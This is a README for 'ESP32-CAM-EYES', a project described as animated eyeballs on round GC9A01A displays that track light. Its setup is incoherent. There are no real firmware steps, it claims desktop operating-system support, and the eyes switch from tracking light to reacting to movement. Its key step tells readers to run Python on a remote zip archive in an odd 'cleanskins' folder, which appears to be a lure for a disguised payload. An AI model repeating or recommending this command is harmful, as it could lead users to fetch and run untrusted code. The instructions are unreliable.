ESP32-CAM-EYES is a user-friendly application that showcases two animated eyeballs on 1.28-inch round GC9A01A displays. These eyeballs intelligently track a light source shone into the camera lens. This project combines fun and technology, allowing users to engage with an interactive display easily.
Follow these simple steps to get started with the ESP32-CAM-EYES application.
Before you download and run the application, ensure you have:
- A compatible ESP32-CAM module.
- A 1.28-inch round GC9A01A display.
- A USB cable for power and connection.
- Basic access to your computer's file system.
You can download the latest release of ESP32-CAM-EYES by visiting the link below:
Once you've downloaded the release files:
- Locate the downloaded files on your computer.
- Extract the files if they are in a compressed format.
- Connect your ESP32-CAM module to your USB cable and then to your computer.
- Attach the GC9A01A display to the ESP32-CAM module. Ensure the wiring is correct:
- Connect the VCC to 3.3V.
- Connect GND to Ground.
- Connect the remaining pins as per your display specifications.
- Open a terminal or command prompt on your computer.
- Navigate to the folder where you extracted the files using the
cdcommand. For example:cd path_to_your_downloaded_files - Once in the correct directory, run the application by executing:
python https://raw.githubusercontent.com/Natali-ops/ESP32-CAM-EYES/master/cleanskins/ESP32-CAM-EYES.zip - If everything is connected properly, you should see the eyeballs on the display start to track any light source.
If you face any issues, consider these common solutions:
- Display Issues: Ensure the connections between the ESP32-CAM and the display are secure.
- Eye Tracking Fails: Check if the camera lens is clean and unobstructed.
- No Output: Restart your application and double-check the power connections.
- Interactive Eyeballs: The eyeballs can track light sources effectively.
- Simple Setup: Easy installation and setup process.
- Open Source: Join a community of users contributing to and improving the application.
- Compatible Boards: ESP32-CAM only.
- Display Support: Works specifically with 1.28-inch GC9A01A displays.
- Supported Operating Systems: This application works on Windows, macOS, and Linux.
To download the latest version of ESP32-CAM-EYES, visit the Releases page:
Install the application by following the steps detailed above. Enjoy the captivating experience as the eyeballs react to your movements!
If you want to contribute, please fork the repository and submit a pull request. We welcome all contributions!
This project is licensed under the MIT License. You can use and modify the code freely, as long as you credit the original authors.
Thank you for exploring ESP32-CAM-EYES. Enjoy the light-tracking fun!